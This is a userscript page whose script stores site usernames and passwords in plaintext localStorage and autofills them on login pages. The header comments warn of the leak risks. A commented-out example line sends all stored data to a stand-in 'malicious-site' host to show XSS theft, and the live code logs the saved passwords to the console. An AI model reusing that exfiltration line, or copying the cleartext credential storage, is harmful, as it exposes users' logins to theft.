Greasy Fork is available in English.

remember and fill

记住网站的账号密码

// ==UserScript==
// @name         remember and fill
// @namespace    http://tampermonkey.net/
// @version      1.9.5
// @description  记住网站的账号密码
// @author       You
// @match        *://*/*login*
// @match        https://*/register*
// @match        https://www.sanxijichang.com/*
// @run-at       document-start
// @icon         https://www.baidu.com/favicon.ico
// @grant        none
// ==/UserScript==
/**
 * 1、本脚本使用localStorage来记住网站的账号密码
 * 2、该脚本有泄露账号密码风险，包括本地数据泄露和远程数据泄露
 * 3、本地数据泄露：
 * 4、账号密码均为明文存储，物理设备丢失后有泄露风险。打开已记住的网站后
 *        可在更多工具-开发者工具-应用-存储-本地存储空间-域名查看记住的账号密码
 * 5、登出账号和关闭浏览器不会删除localStorage
 * 6、如需删除记住的账号密码，选择清除数据-网页存储
 * 7、如果填充失败可刷新页面让脚本再次填充，手动输入则会覆盖已记住数据
 * @returns
 */
const via = {
    // true改为false默认记住不询问
    isAsk: false, // 轮询计数器最大值（最多循环查询50次耗时略大于5s）
    counterMax: 50, // 版本（1.0版本更简单，适用网站更广）
    version: 2.0, // 超时时间检查（登录网页适配失败后半秒后再检查一遍）
    timeoutCheck: 250,
    timeoutCheckTimes: 10,
    /**
     * 移除网站记住的数据
     */
    remove: function () {
        localStorage.removeItem('via_isConfirm');
        localStorage.removeItem('via_username');
        localStorage.removeItem('via_password');
        localStorage.removeItem('via_email');
    }, /**
     * 远程数据泄露：
     * 如果一个网站存在XSS漏洞，那么攻击者注入如下代码
     * 就可以获取使用localStorage存储在本地数据
     */
    print: function () {
        var i = 0;
        var array = [];
        while (localStorage.key(i) != null) {
            var key = localStorage.key(i);
            array[key] = localStorage.getItem(key);
            i++;
        }
        //console.table(array);
        console.log(array);
        //document.location="http://your-malicious-site.com?stolen="+ array;
    }
};
(function () {
    //  声明定时器
    var timer = null;

    whenReady(function () {
        if (via.version == 2.0) {
            return recursiveQuery2();
        } else {
            return recursiveQuery();
        }
    });

    /**
     * 判断document是否加载完成
     */
    function whenReady(func) {
        console.time("轮询耗时");
        /**
         * document.readyState属性描述了文档的加载状态。一个文档的readyState可以是以下之一：
         * loading——加载，此时document仍在加载
         * interactive——互动，此时文档已经完成加载，文档已被解析，但是诸如图像，样式表和框架之类的子资源仍在加载。
         * complete——完成，此时T文档和所有子资源已完成加载。状态表示 load 事件即将被触发。
         */
        if (document.readyState === "interactive" || document.readyState === "complete") {
            func();
        } else {
            /**
             * DOMContentLoaded：当初始的 HTML 文档被完全加载和解析完成之后，DOMContentLoaded 事件被触发。
             * 无需等待样式表、图像和子框架的完成加载。——interactive
             */
            document.addEventListener("DOMContentLoaded", func);
        }
    }

    /**
     * 递归查询密码框
     */
    function recursiveQuery() {
        var index = null;
        var allInput = document.getElementsByTagName("input");
        var allShownInput = [];
        for (var i = 0; i < allInput.length; i++) {
            /**
             * background作用域为div边框包括padding往里
             * 不包含margin，margin不为0时background大小将小于div的height*width）
             * input输入框位于padding里面（不包括padding）
             * offsetWidth 属性是一个只读属性，它返回该元素的像素宽度，
             * 宽度包含内边距（padding）和边框（border），不包含外边距（margin），是一个整数，单位是像素 px。
             * offsetWidth 数值由实际计算得出，如果该输入框被隐藏了则offsetWidth为0px。
             */
            if (allInput[i].offsetWidth > 0) {
                allShownInput.push(allInput[i]);
                if (allInput[i].type == "password") {
                    index = allShownInput.length - 1;
                    console.log("密码框：document.querySelectorAll('input')[" + i + "]");
                    console.log(allInput[i]);
                }
            }
        }
        if (!index) {
            if (via.counterMax > 0) {
                --via.counterMax;
                timer = setTimeout(recursiveQuery, 100);
            } else {
                console.timeEnd("轮询耗时");
            }
        } else {
            ask(allShownInput, index);
        }
    }

    function recursiveQuery2() {
        let index;
        const allInput = document.getElementsByTagName("input");
        let allShownInput = [];
        for (let i = 0; i < allInput.length; i++) {
            if (allInput[i].offsetWidth > 0) {
                allShownInput.push(allInput[i]);
                if (allInput[i].type === "password") {
                    if (!index) index = allShownInput.length - 1;
                    console.log("密码框：document.querySelectorAll('input')[" + i + "]");
                    console.log(allInput[i]);
                }
            }
        }
        if (allShownInput === []) {
            if (via.counterMax > 0) {
                --via.counterMax;
                timer = setTimeout(recursiveQuery2, 100);
            } else {
                console.timeEnd("轮询耗时");
            }
        } else {
            console.timeEnd("轮询耗时");
            if (index) {
                ask(allShownInput, index);
            } else {
                console.time("延时耗时");
                setTimeout(function () {
                    isShowPass(0);
                }, via.timeoutCheck);
            }
        }
    }

    /**
     * 半秒后是否显示密码框
     */
    function isShowPass(times) {
        let index;
        const allInput = document.getElementsByTagName("input");
        const allShownInput = [];
        for (let i = 0; i < allInput.length; i++) {
            if (allInput[i].offsetWidth > 0) {
                allShownInput.push(allInput[i]);
                if (!index && allInput[i].type === "password") {
                    index = allShownInput.length - 1;
                    console.log("密码框：document.querySelectorAll('input')[" + i + "]");
                    console.log(allInput[i]);
                }
            }
        }
        if (index) {
            console.timeEnd("延时耗时");
            ask(allShownInput, index);
        } else {
            if (++times <= via.timeoutCheckTimes) {
                setTimeout(() => isShowPass(times), via.timeoutCheck);
            } else {
                console.timeEnd("延时耗时");
            }
        }
    }

    /**
     * 询问
     */
    function ask(allShownInput, index) {
        //  清除定时器
        if (!timer) {
            clearTimeout(timer);
        }
        // 包含两个以上输入框
        if (index > 0) {
            // 询问则确认是否记住密码
            if (via.isAsk) {
                if (!localStorage.via_isConfirm) {
                    // 一个网站只询问一次
                    if (localStorage.via_isConfirm === '') {
                        return;
                    }
                    if (!confirm("记住本站密码吗？")) {
                        localStorage.setItem("via_isConfirm", "");
                        return;
                    } else {
                        localStorage.setItem("via_isConfirm", true);
                    }
                }
            }
            rememberFill(allShownInput, index);
        }
    }

    /**
     * 记住密码并填充
     * @param allShownInput 所有可使输入框
     * @param index 密码框索引
     */
    function rememberFill(allShownInput, index) {
        // 密码前一个为用户名
        const username = allShownInput[index - 1];
        const password = allShownInput[index];

        // 填充账号密码
        let isFill;
        if (localStorage.via_username) {
//    		username.value = localStorage.via_username;
            // 找不到 email、name、username 根据密码框位置填充
            allShownInput.forEach(input => {
                if (input.name === 'email' || input.id === 'email'
                    || input.name === 'name' || input.id === 'name'
                    || input.name === 'username' || input.id === 'username') {
                    keyboardInput(input, localStorage.via_username);

                    isFill = true;
                    const select = input.parentElement.querySelector('select');
                    if (select) {
                        keyboardInput(select, localStorage.via_username + localStorage.via_email);

                        const selectElement = select
                        for (let i = 0; i < selectElement.options.length; i++) {
                            if (selectElement.options[i].text === localStorage.via_email) {
                                setTimeout(
                                    () => select.parentElement.querySelector('select').selectedIndex = i,
                                    100)
                                break;
                            }
                        }
                    } else {
                        // 没有select框，并且保存有邮箱
                        if (localStorage.via_email) {
                            keyboardInput(input, localStorage.via_username + localStorage.via_email);
                        }
                    }
                }
            })
            if (!isFill) {
                // 如果密码前一个不是用户名，则再往上找input
                if (username.type === 'password') {
                    if (localStorage.via_password) {
                        keyboardInput(username, localStorage.via_password);
                    }
                   keyboardInput(allShownInput[index - 2], localStorage.via_username);
                } else {
                    keyboardInput(username, localStorage.via_username);
                }
                // 没有select框，并且保存有邮箱
                if (localStorage.via_email) {
                    keyboardInput(username, localStorage.via_username + localStorage.via_email);
                }
            }
        }
        if (localStorage.via_password) {
//    		password.value = localStorage.via_password;
            allShownInput.filter(input => input.type === 'password').forEach(input => {
                keyboardInput(input, localStorage.via_password);
            })
        }

        // 监听input输入保存到localStorage
        isFill = false
        allShownInput.forEach(input => {
            if (input.name === 'email' || input.id === 'email'
                || input.name === 'name' || input.id === 'name'
                || input.name === 'username' || input.id === 'username'
                || input.placeholder.match(/邮箱$|email|名|name|user/)) {
                input.addEventListener("input", function () {
                    localStorage.setItem("via_username", input.value);
                });
                let select = input.parentElement.querySelector('select');
                    setTimeout(
                        () => {
                            select = input.parentElement.querySelector('select');
                            console.warn(select)
                            if (select) {
                                if (select.text) {
                                    localStorage.setItem("via_email", select.text);
                                } else {
                                    localStorage.setItem("via_email", input.parentElement.querySelector('select').options[0].text);
                                }
                                select.addEventListener("change", function () {
                                    localStorage.setItem("via_email", this.selectedOptions[0].text);
                                });
                            }
                        },
                        1100)
                isFill = true
            }
        })
        if (!isFill) {
            username.addEventListener("input", function () {
                if (username.type === 'password') {
                    localStorage.setItem("via_username", allShownInput[index - 2].value);
                } else {
                    localStorage.setItem("via_username", username.value);
                }
            });
        }

        password.addEventListener("input", function () {
            localStorage.setItem("via_password", password.value);
        });

        via.print();
    }

    /**
     * 键盘输入
     * 作用: 有些时候会遇到使用 document.getElementById().value="xxx"; 的时候,
     *            页面的输入框中显示有值,但提交按钮显示用户还未输入..这就需要下面函数了
     */
    function keyboardInput(dom, st) {
        // 输入事件
        const evt = new InputEvent('input', {
            inputType: 'insertText', data: st, dataTransfer: null, isComposing: false
        });
        // 赋值
        dom.value = st;
        // 调度事件
        dom.dispatchEvent(evt);
    }

})();